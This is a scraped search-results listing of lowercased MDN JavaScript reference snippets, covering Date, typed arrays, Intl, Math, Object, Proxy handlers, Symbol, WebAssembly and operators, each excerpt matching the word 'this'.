this view from the start of its arraybuffer.
... dataview.prototype.byteoffset the offset (in bytes) of
this view from the start of its arraybuffer.
Date.prototype.getFullYear() - JavaScript
use
this method instead of the getyear() method.
... the source for
this interactive example is stored in a github repository.
...use
this function to make sure a year is compliant with years after 2000.
Date.prototype.toISOString() - JavaScript
the source for
this interactive example is stored in a github repository.
... polyfill
this method was standardized in ecma-262 5th edition.
... engines which have not been updated to support
this method can work around the absence of
this method using the following shim: if (!date.prototype.toisostring) { (function() { function pad(number) { if (number < 10) { return '0' + number; } return number; } date.prototype.toisostring = function() { return
this.getutcfullyear() + '-' + pad(
this.getutcmonth() + 1) + '-' + pad(
this.getutcdate()) + 't' + pad(
this.getutchours()) + ':' + pad(
this.getutcminutes()) + ':' + pad(
this.getutcseconds()) + '.' + (
this.getutcmilliseconds() / 1000).tofixed(3).slice(2, 5) + 'z'; }; })(); } examples using toisostring() let today = new date('05 october 2011 14:48 utc') console.log(today.toisost...
Float32Array - JavaScript
float32array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... float32array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... float32array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Float64Array - JavaScript
float64array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... float64array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... float64array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Generator.prototype.next() - JavaScript
in
this case value optionally specifies the return value of the iterator.
...
this is equivalent of not specifying the done property altogether.
...// generator { } page.next(); // object {value: (3) [1, 2, 3], done: false} page.next(); // object {value: (3) [4, 5, 6], done: false} page.next(); // object {value: (2) [7, 8], done: false} page.next(); // object {value: undefined, done: true} sending values to the generator in
this example, next is called with a value.
Int16Array - JavaScript
int16array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... int16array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... int16array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Int32Array - JavaScript
int32array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... int32array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... int32array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Int8Array - JavaScript
int8array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... int8array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... int8array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Intl.Collator.prototype.compare() - JavaScript
the intl.collator.prototype.compare() method compares two strings according to the sort order of
this collator object.
... the source for
this interactive example is stored in a github repository.
... description the compare getter function returns a number indicating how string1 and string2 compare to each other according to the sort order of
this collator object: a negative value if string1 comes before string2; a positive value if string1 comes after string2; 0 if they are considered equal.
Intl.Collator.prototype.resolvedOptions() - JavaScript
the intl.collator.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and collation options computed during initialization of
this collator object.
... the source for
this interactive example is stored in a github repository.
...if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
Intl.Collator - JavaScript
the source for
this interactive example is stored in a github repository.
... instance methods intl.collator.prototype.compare getter function that compares two strings according to the sort order of
this intl.collator object.
...
this is because the values are implementation-specific.
Intl.ListFormat.prototype.resolvedOptions() - JavaScript
if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
... style the value provided for
this property in the options argument of the constructor or the default value ("long").
... type the value provided for
this property in the options argument of the constructor or the default value ("conjunction").
Intl.Locale.prototype.maximize() - JavaScript
the source for
this interactive example is stored in a github repository.
...the add likely subtags algorithm gives us
this functionality.
...
this functionality is provided to javascript programmers via the maximize() method.
Intl.Locale.prototype.minimize() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method carries out the reverse of maximize(), removing any language, script, or region subtags from the locale language identifier (essentially the contents of basename).
...
this is useful when there are superfluous subtags in the language identifier; for instance, "en-latn" can be simplified to "en", since "latn" is the only script used to write english.
Intl.NumberFormat.prototype.formatToParts() - JavaScript
the structure the formattoparts() method returns, looks like
this: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" } ] possible types are the following: currency the currency string, such as the symbols "$" and "€" or the name "dollar", "euro" depending on how currencydisplay is specified.
... examples comparing format and formattoparts numberformat outputs localized, opaque strings that cannot be manipulated directly: var number = 3500; var formatter = new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }); formatter.format(number); // "3.500,00 €" however, in many user interfaces there is a desire to customize the formatting of
this string.
... var numberstring = formatter.formattoparts(number).map(({type, value}) => { switch (type) { case 'currency': return `<strong>${value}</strong>`; default : return value; } }).reduce((string, part) => string + part);
this will make the currency bold, when using the formattoparts() method.
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.relativetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and relative time formatting options computed during initialization of
this relativetimeformat object.
... the source for
this interactive example is stored in a github repository.
...if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
JSON.parse() - JavaScript
the source for
this interactive example is stored in a github repository.
... reviver optional if a function,
this prescribes how the value originally produced by parsing is transformed, before being returned.
...then it is called, with the object containing the property being processed as
this, and with the property name as a string, and the property value as arguments.
Math.atan2() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is the counterclockwise angle, measured in radians, between the positive x axis, and the point (x, y).
... note that the arguments to
this function pass the y-coordinate first and the x-coordinate second.
Math.hypot() - JavaScript
the math.hypot() function returns the square root of the sum of squares of its arguments, that is: math.hypot(v1,v2,…,vn)=∑i=1nvi2=v12+v22+…+vn2\mathtt{\operatorname{math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2} the source for
this interactive example is stored in a github repository.
...
this function makes
this calculation easier and faster; you simply call math.hypot(v1, v2) , or math.hypot(v1, v2, v3, v4, ...).
...
this is also true with very small numbers.
Math.log10() - JavaScript
the math.log10() function returns the base 10 logarithm of a number, that is ∀x>0,math.log10(x)=log10(x)=the uniqueysuch that10y=x\forall x > 0, \mathtt{\operatorname{math.log10}(x)} = \log_10(x) = \text{the unique} \; y \; \text{such that} \; 10^y = x the source for
this interactive example is stored in a github repository.
...
this function is the equivalent of math.log(x) / math.log(10).
... examples using math.log10() math.log10(2); // 0.3010299956639812 math.log10(1); // 0 math.log10(0); // -infinity math.log10(-2); // nan math.log10(100000); // 5 polyfill
this can be emulated with the following function: math.log10 = math.log10 || function(x) { return math.log(x) * math.log10e; }; specifications specification ecmascript (ecma-262)the definition of 'math.log10' in that specification.
Math.log1p() - JavaScript
the math.log1p() function returns the natural logarithm (base e) of 1 + a number, that is ∀x>-1,math.log1p(x)=ln(1+x)\forall x > -1, \mathtt{\operatorname{math.log1p}(x)} = \ln(1 + x) the source for
this interactive example is stored in a github repository.
... if, instead, you calculate math.log1p(1.1111111111e-15) you will get a much more accurate answer 1.1111111110999995e-15 with 15 correct digits of precision (actually 16 in
this case).
... polyfill
this can be emulated with the following function: math.log1p = math.log1p || function(x) { x = number(x); if (x < -1 || x !== x) return nan; if (x === 0 || x === infinity) return x; var nearx = (x + 1) - 1; return nearx === 0 ?
Math.log2() - JavaScript
the math.log2() function returns the base 2 logarithm of a number, that is ∀x>0,math.log2(x)=log2(x)=the uniqueysuch that2y=x\forall x > 0, \mathtt{\operatorname{math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x the source for
this interactive example is stored in a github repository.
...
this function is the equivalent of math.log(x) / math.log(2).
... polyfill
this polyfill emulates the math.log2 function.
Math.max() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this should only be used for arrays with relatively few elements.
...the reduce solution does not have
this problem.
Math.min() - JavaScript
the source for
this interactive example is stored in a github repository.
... examples using math.min()
this finds the min of x and y and assigns it to z: var x = 10, y = -20; var z = math.min(x, y); clipping a value with math.min() math.min() is often used to clip a value so that it is always less than or equal to a boundary.
... for instance,
this var x = f(foo); if (x > boundary) { x = boundary; } may be written as
this var x = math.min(f(foo), boundary); math.max() can be used in a similar way to clip a value at the other end.
Math - JavaScript
this means that different browsers can give a different result.
... in javascript, we can do
this with the following: 50 * math.tan(degtorad(60)).
... returning a random integer between two bounds
this can be achieved with a combination of math.random() and math.floor(): function random(min, max) { const num = math.floor(math.random() * (max - min + 1)) + min; return num; } random(1, 10); specifications specification ecmascript (ecma-262)the definition of 'math' in that specification.
Number.isFinite() - JavaScript
the source for
this interactive example is stored in a github repository.
... description in comparison to the global isfinite() function,
this method doesn't forcibly convert the parameter to a number.
...
this means only values of the type number, that are also finite, return true.
Object.prototype.__defineGetter__() - JavaScript
this feature is deprecated in favor of defining getters using the object initializer syntax or the object.defineproperty() api.
... while
this feature is widely implemented, it is only described in the ecmascript specification because of legacy usage.
...
this method should not be used since better alternatives exist.
Object.prototype.__defineSetter__() - JavaScript
this feature is deprecated in favor of defining setters using the object initializer syntax or the object.defineproperty() api.
...
this function takes the form function(val) { .
... examples non-standard and deprecated way var o = {}; o.__definesetter__('value', function(val) {
this.anothervalue = val; }); o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 standard-compliant ways // using the set operator var o = { set value(val) {
this.anothervalue = val; } }; o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'value', { set: function(val) {
this.anothervalue = val; } }); o.value = 5; console.log(o.value)...
Object.defineProperties() - JavaScript
the source for
this interactive example is stored in a github repository.
... data descriptors and accessor descriptors may optionally contain the following keys: configurable true if and only if the type of
this property descriptor may be changed and if the property may be deleted from the corresponding object.
... enumerable true if and only if
this property shows up during enumeration of the properties on the corresponding object.
Object.keys() - JavaScript
the source for
this interactive example is stored in a github repository.
...// array-like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.keys(obj)); // console: ['0', '1', '2'] // array-like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.keys(anobj)); // console: ['2', '7', '100'] // getfoo is a property which isn't enumerable const myobj = object.create({}, { getfoo: { value: function () { return
this.foo; } } }); myobj.foo = 1; console.log(object.keys(myobj)); // console: ['foo'] if you want all properties—including non-enumerables—see object.getownpropertynames().
... non-object coercion in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Object.seal() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this has the effect of making the set of properties on the object fixed and immutable.
...object.defineproperty(obj, 'ohai', { value: 17 }); // throws a typeerror object.defineproperty(obj, 'foo', { value: 'eit' }); // changes existing property value non-object coercion in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
Object.prototype.toLocaleString() - JavaScript
this method is meant to be overridden by derived objects for locale-specific purposes.
... the source for
this interactive example is stored in a github repository.
...
this function is provided to give objects a generic tolocalestring method, even though not all may use it.
Object.prototype.valueOf() - JavaScript
the source for
this interactive example is stored in a github repository.
...every built-in core object overrides
this method to return an appropriate value.
... examples using valueof on custom types function mynumbertype(n) {
this.number = n; } mynumbertype.prototype.valueof = function() { return
this.number; }; var myobj = new mynumbertype(4); myobj + 3; // 7 using unary plus +"5" // 5 (string to number) +"" // 0 (string to number) +"1 + 2" // nan (doesn't evaluate) +new date() // same as (new date()).gettime() +"foo" // nan (string to number) +{} // nan +[] // 0 (tostring() returns an empty string list) +[1] // ...
handler.construct() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: new proxy(...args) reflect.construct() invariants if the following invariants are violated, the proxy will throw a typeerror: the result must be an object.
handler.defineProperty() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: object.defineproperty() reflect.defineproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be added, if the target object is not extensible.
handler.deleteProperty() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be deleted, if it exists as a non-configurable own property of the target object.
handler.get() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: property access: proxy[foo]and proxy.bar inherited property access: object.create(proxy)[foo] reflect.get() invariants if the following invariants are violated, the proxy will throw a typeerror: the value reported for a property must be the same as the value of the corresponding target object property if the target object property is a non-writable, non-configurable own data property.
handler.getOwnPropertyDescriptor() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: object.getownpropertydescriptor() reflect.getownpropertydescriptor() invariants if the following invariants are violated, the proxy will throw a typeerror: getownpropertydescriptor() must return an object or undefined.
handler.has() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: property query: foo in proxy inherited property query: foo in object.create(proxy) with check: with(proxy) { (foo); } reflect.has() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.
handler.isExtensible() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: object.isextensible() reflect.isextensible() invariants if the following invariants are violated, the proxy will throw a typeerror: object.isextensible(proxy) must return the same value as object.isextensible(target).
handler.ownKeys() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: object.getownpropertynames() object.getownpropertysymbols() object.keys() reflect.ownkeys() invariants if the following invariants are violated, the proxy will throw a typeerror: the result of ownkeys() must be an array.
handler.preventExtensions() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is bound to the handler.
... interceptions
this trap can intercept these operations: object.preventextensions() reflect.preventextensions() invariants if the following invariants are violated, the proxy will throw a typeerror: object.preventextensions(proxy) only returns true if object.isextensible(proxy) is false.
Proxy() constructor - JavaScript
this constructor takes two mandatory arguments: target is the object for which you want to create the proxy handler is the object that defines the custom behavior of the proxy.
... handler functions
this section lists all the handler functions you can define.
... examples selectively proxy property accessors in
this example the target has two properties, notproxied and proxied.
ReferenceError - JavaScript
referenceerror.prototype.filename path to file that raised
this error.
... referenceerror.prototype.linenumber line number in file that raised
this error.
... referenceerror.prototype.columnnumber column number in line that raised
this error.
Reflect.construct() - JavaScript
the source for
this interactive example is stored in a github repository.
...(
this would also be possible by using the spread syntax combined with the new operator.) let obj = new foo(...args) let obj = reflect.construct(foo, args) reflect.construct() vs object.create() prior to the introduction of reflect, objects could be constructed using an arbitrary combination of constructor and prototype by using object.create().
... function oneclass() {
this.name = 'one' } function otherclass() {
this.name = 'other' } // calling
this: let obj1 = reflect.construct(oneclass, args, otherclass) // ...has the same result as
this: let obj2 = object.create(otherclass.prototype) oneclass.apply(obj2, args) console.log(obj1.name) // 'one' console.log(obj2.name) // 'one' console.log(obj1 instanceof oneclass) // false console.log(obj2 instanceof oneclass) // false console.log(obj1 instanceof otherclass) // true console.log(obj2 instanceof otherclass) // true //another example to demonstrate below: function func1(a, b, c, d) { console.log(arguments[3]); } function func2(d, e, f, g) { consol.log(arguments[3]); } let obj1 = reflect.construct(func1, ['i', 'love', 'my', 'india']) obj1 however, while the e...
RegExp() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
... as of es5,
this can also be another regexp object or literal (for the two regexp constructor notations only).
... y (sticky) matches only from the index indicated by the lastindex property of
this regular expression in the target string.
RegExp.prototype.test() - JavaScript
the source for
this interactive example is stored in a github repository.
...(
this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() called multiple times on the same global regular expression instance will advance past the previous match.
... the following example demonstrates
this behaviour: const regex = /foo/g; // the "global" flag is set // regex.lastindex is at 0 regex.test('foo') // true // regex.lastindex is now at 3 regex.test('foo') // false // regex.lastindex is at 0 regex.test('barfoo') // true // regex.lastindex is at 6 regex.test('foobar') //false // regex.lastindex is at 0 // (...and so on) specifications specification ...
SharedArrayBuffer.prototype.slice() - JavaScript
the sharedarraybuffer.prototype.slice() method returns a new sharedarraybuffer whose contents are a copy of
this sharedarraybuffer's bytes from begin, inclusive, up to end, exclusive.
...
this method has the same algorithm as array.prototype.slice().
... the source for
this interactive example is stored in a github repository.
String.prototype.repeat() - JavaScript
the source for
this interactive example is stored in a github repository.
... polyfill
this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet.
... however, you can polyfill string.prototype.repeat() with the following snippet: if (!string.prototype.repeat) { string.prototype.repeat = function(count) { 'use strict'; if (
this == null) throw new typeerror('can\'t convert ' +
this + ' to object'); var str = '' +
this; // to convert string to integer.
String.prototype.slice() - JavaScript
the source for
this interactive example is stored in a github repository.
...the character at
this index will not be included.
... let str = 'the morning is upon us.' str.slice(-3) // returns 'us.' str.slice(-3, -1) // returns 'us' str.slice(0, -1) // returns 'the morning is upon us'
this example counts backwards from the end of the string by 11 to find the start index and forwards from the start of the string by 16 to find the end index.
String.prototype.toLocaleUpperCase() - JavaScript
the source for
this interactive example is stored in a github repository.
...in most cases,
this will produce the same result as touppercase(), but for some locales, such as turkish, whose case mappings do not follow the default case mappings in unicode, there may be a different result.
...
this also implies that the conversion is not stable, so i.e.
String.prototype.toUpperCase() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method does not affect the value of the string itself since javascript strings are immutable.
... examples basic usage console.log('alphabet'.touppercase()); // 'alphabet' conversion of non-string
this values to strings
this method will convert any non-string value to a string, when you set its
this to a value that is not a string: const a = string.prototype.touppercase.call({ tostring: function tostring() { return 'abcdef'; } }); const b = string.prototype.touppercase.call(true); // prints out 'abcdef true'.
String.prototype.trim() - JavaScript
whitespace in
this context is all the whitespace characters (space, tab, no-break space, etc.) and all the line terminator characters (lf, cr, etc.).
... the source for
this interactive example is stored in a github repository.
... if (!string.prototype.trim) { string.prototype.trim = function () { return
this.replace(/^[\s\ufeff\xa0]+|[\s\ufeff\xa0]+$/g, ''); }; } examples using trim() the following example displays the lowercase string 'foo': var orig = ' foo '; console.log(orig.trim()); // 'foo' // another example of .trim() removing whitespace from just one side.
String.prototype.trimEnd() - JavaScript
trimright() is an alias of
this method.
... the source for
this interactive example is stored in a github repository.
...in some engines
this means: string.prototype.trimright.name === "trimend"; examples using trimend() the following example displays the lowercase string ' foo': var str = ' foo '; console.log(str.length); // 8 str = str.trimend(); console.log(str.length); // 6 console.log(str); // ' foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.
Symbol.hasInstance - JavaScript
the instanceof operator's behavior can be customized by
this symbol.
... the source for
this interactive example is stored in a github repository.
... property attributes of symbol.hasinstance writable no enumerable no configurable no examples custom instanceof behavior you could implement your custom instanceof behavior like
this, for example: class myarray { static [symbol.hasinstance](instance) { return array.isarray(instance) } } console.log([] instanceof myarray); // true function myarray() { } object.defineproperty(myarray, symbol.hasinstance, { value: function(instance) { return array.isarray(instance); } }); console.log([] instanceof myarray); // true specifications specification ...
Symbol.match - JavaScript
this function is called by the string.prototype.match() method.
... the source for
this interactive example is stored in a github repository.
... description
this function is also used to identify if objects have the behavior of regular expressions.
Symbol.replace - JavaScript
this function is called by the string.prototype.replace() method.
... the source for
this interactive example is stored in a github repository.
... property attributes of symbol.replace writable no enumerable no configurable no examples using symbol.replace class customreplacer { constructor(value) {
this.value = value; } [symbol.replace](string) { return string.replace(
this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.search - JavaScript
this function is called by the string.prototype.search() method.
... the source for
this interactive example is stored in a github repository.
... property attributes of symbol.search writable no enumerable no configurable no examples custom string search class caseinsensitivesearch { constructor(value) {
this.value = value.tolowercase(); } [symbol.search](string) { return string.tolowercase().indexof(
this.value); } } console.log('foobar'.search(new caseinsensitivesearch('bar'))); // expected output: 3 specifications specification ecmascript (ecma-262)the definition of 'symbol.search' in that specification.
SyntaxError - JavaScript
syntaxerror.prototype.filename path to file that raised
this error.
... syntaxerror.prototype.linenumber line number in file that raised
this error.
... syntaxerror.prototype.columnnumber column number in line that raised
this error.
TypeError - JavaScript
typeerror.prototype.filename path to file that raised
this error.
... typeerror.prototype.linenumber line number in file that raised
this error.
... typeerror.prototype.columnnumber column number in line that raised
this error.
TypedArray.prototype.copyWithin() - JavaScript
this method has the same algorithm as array.prototype.copywithin.
... the source for
this interactive example is stored in a github repository.
... syntax typedarray.copywithin(target, start[, end =
this.length]) parameters target target start index position where to copy the elements to.
TypedArray.prototype.includes() - JavaScript
this method has the same algorithm as array.prototype.includes().
... the source for
this interactive example is stored in a github repository.
...the position in
this array at which to begin searching for searchelement; defaults to 0.
TypedArray.of() - JavaScript
this method is nearly the same as array.of().
... the source for
this interactive example is stored in a github repository.
... description some subtle distinctions between array.of() and typedarray.of(): if the
this value passed to typedarray.of is not a constructor, typedarray.of will throw a typeerror, where array.of defaults to creating a new array.
TypedArray.prototype.reduce() - JavaScript
this method has the same algorithm as array.prototype.reduce().
... the source for
this interactive example is stored in a github repository.
... polyfill
this method uses the same algorithm as array.prototype.reduce(), so the same polyfill can be used here: simply replace array.prototype.reduce with typedarray.prototype.reduce.
TypedArray.prototype.slice() - JavaScript
this method has the same algorithm as array.prototype.slice().
... the source for
this interactive example is stored in a github repository.
... if (!uint8array.prototype.slice) { object.defineproperty(uint8array.prototype, 'slice', { value: function (begin, end) { return new uint8array(array.prototype.slice.call(
this, begin, end)); } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
URIError - JavaScript
urierror.prototype.filename path to file that raised
this error.
... urierror.prototype.linenumber line number in file that raised
this error.
... urierror.prototype.columnnumber column number in line that raised
this error.
Uint16Array - JavaScript
uint16array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... uint16array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... uint16array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Uint32Array - JavaScript
uint32array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... uint32array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... uint32array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Uint8Array - JavaScript
uint8array.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... uint8array.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... uint8array.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
Uint8ClampedArray - JavaScript
uint8clampedarray.prototype.filter() creates a new array with all of the elements of
this array for which the provided filtering function returns true.
... uint8clampedarray.prototype.map() creates a new array with the results of calling a provided function on every element in
this array.
... uint8clampedarray.prototype.some() returns true if at least one element in
this array satisfies the provided testing function.
WeakRef - JavaScript
this is primarily to avoid making the behavior of any given javascript engine's garbage collector apparent in code — because if it were, people would write code relying on that behavior, which would break when the garbage collector's behavior changed.
... examples using a weakref object
this example starts a counter shown in a dom element, stopping when the element doesn't exist anymore: class counter { constructor(element) { // remember a weak reference to the dom element
this.ref = new weakref(element);
this.start(); } start() { if (
this.timer) { return; }
this.count = 0; const tick = () => { // get the element from the weak referen...
...ce, if it still exists const element =
this.ref.deref(); if (element) { element.textcontent = ++
this.count; } else { // the element doesn't exist anymore console.log("the element is gone.");
this.stop();
this.ref = null; } }; tick();
this.timer = setinterval(tick, 1000); } stop() { if (
this.timer) { clearinterval(
this.timer);
this.timer = 0; } } } const counter = new counter(document.getelementbyid("counter")); counter.start(); settimeout(() => { document.getelementbyid("counter").remove(); }, 5000); specifications specification weakrefsthe definition of 'weakref' in that specification.
WebAssembly.Memory() constructor - JavaScript
however, the engine may ignore or clamp
this reservation request.
...you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared:true});
this memory's buffer property will return a sharedarraybuffer.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Module.customSections() - JavaScript
(read high level structure for information on section structures, and how normal sections ("known sections") and custom sections are distinguished.)
this provides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build).
...the wast2wasm command available as part of the wabt tool has a --debug-names option — specify
this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using customsections the following example (see the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Module.imports() - JavaScript
this module is then queried for its imports.
... webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like
this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Table() constructor - JavaScript
at the moment
this can only have a value of "anyfunc" (functions).
...
this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Table.prototype.set() - JavaScript
this must be an exported webassembly function, a javascript wrapper for an underlying wasm function.
...
this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... browser compatibility the compatibility table on
this page is generated from structured data.
WebAssembly.Table - JavaScript
note: tables can currently only store function references, but
this will likely be expanded in the future.
...
this example shows that we're creating and accessing the table from javascript, but the same table is visible and callable inside the wasm instance too.
... browser compatibility the compatibility table on
this page is generated from structured data.
isFinite() - JavaScript
the source for
this interactive example is stored in a github repository.
... you can use
this function to determine whether a number is a finite number.
...if the argument is nan, positive infinity, or negative infinity,
this method returns false; otherwise, it returns true.
Equality (==) - JavaScript
the source for
this interactive example is stored in a github repository.
...
this can be roughly summarised as follows: if the operands are both objects, return true only if both operands reference the same object.
... the most notable difference between
this operator and the strict equality (===) operator is that the strict equality operator does not attempt type conversion.
Logical AND (&&) - JavaScript
however, the && operator actually returns the value of one of the specified operands, so if
this operator is used with non-boolean values, it will return a non-boolean value.
... the source for
this interactive example is stored in a github repository.
...
this happens because the value of the operator is already determined after the evaluation of the first operand.
Logical OR assignment (||=) - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax expr1 ||= expr2 description short-circuit evaluation the logical or operator works like
this: x || y; // returns x when x is truthy // returns y when x is not truthy the logical or operator short-circuits: the second operand is only evaluated if the first operand doesn’t already determine the result.
...in other words, x ||= y is equivalent to: x || (x = y); and not equivalent to the following which would always perform an assignment: x = x || y; note that
this behavior is different to mathematical and bitwise assignment operators.
Unsigned right shift (>>>) - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax a >>> b description
this operator shifts the first operand the specified number of bits to the right.
... 9 (base 10): 00000000000000000000000000001001 (base 2) -------------------------------- 9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) however,
this is not the case for negative numbers.
class expression - JavaScript
the source for
this interactive example is stored in a github repository.
...
this is not the case with class statements.
...et foo = class {}; // constructor property is optional foo = class {}; // re-declaration is allowed typeof foo; // returns "function" typeof class {}; // returns "function" foo instanceof object; // true foo instanceof function; // true class foo {} // throws syntaxerror (class declarations do not allow re-declaration) examples a simple class expression
this is just a simple anonymous class expression which you can refer to using the variable foo.
new.target - JavaScript
the source for
this interactive example is stored in a github repository.
...
this lets you detect whether a function was called with new as a constructor.
...
this is also the case if the constructor is in a parent class and was delegated from a child constructor.
typeof - JavaScript
the source for
this interactive example is stored in a github repository.
... the only known browser to have actually taken advantage of
this is old internet explorer (see below).
...typeof new boolean(true) === 'object'; typeof new number(1) === 'object'; typeof new string('abc') === 'object'; // functions typeof function() {} === 'function'; typeof class c {} === 'function'; typeof math.sin === 'function'; typeof null //
this stands since the beginning of javascript typeof null === 'object'; in the first implementation of javascript, javascript values were represented as a type tag and a value.
empty - JavaScript
the source for
this interactive example is stored in a github repository.
... in the following example, the usage is probably not intentional: if (condition); // caution,
this "if" does nothing!
... killtheuniverse() // so
this always gets executed!!!
class - JavaScript
the source for
this interactive example is stored in a github repository.
... note that super(), used in the constructor, can only be used in constructors, and must be called before the
this keyword can be used.
... class polygon { constructor(height, width) {
this.name = 'polygon';
this.height = height;
this.width = width; } } class square extends polygon { constructor(length) { super(length, length);
this.name = 'square'; } } attempting to declare a class twice re-declaring a class using the class declaration throws a syntaxerror.
for await...of - JavaScript
examples iterating over async iterables you can also iterate over an object that explicitly implements async iterable protocol: const asynciterable = { [symbol.asynciterator]() { return { i: 0, next() { if (
this.i < 3) { return promise.resolve({ value:
this.i++, done: false }); } return promise.resolve({ done: true }); } }; } }; (async function() { for await (let num of asynciterable) { console.log(num); } })(); // 0 // 1 // 2 iterating over async generators since the return values of async generators conform to the async iterable protocol, they can ...
...
this example first creates an async iterable for a stream of data, then uses it to find the size of the response from the api.
...
this can be undesireable if you need to free some allocated resources with try/finally.
if...else - JavaScript
the source for
this interactive example is stored in a github repository.
...else statementn to see how
this works,
this is how it would look if the nesting were properly indented: if (condition1) statement1 else if (condition2) statement2 else if (condition3) ...
...for example: var b = new boolean(false); if (b) //
this condition is truthy examples using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascript.
import.meta - JavaScript
this will either be the url from which the script was obtained, for external scripts, or the document base url of the containing document, for inline scripts.
... note that
this will include query parameters and/or hash (i.e., following the ?
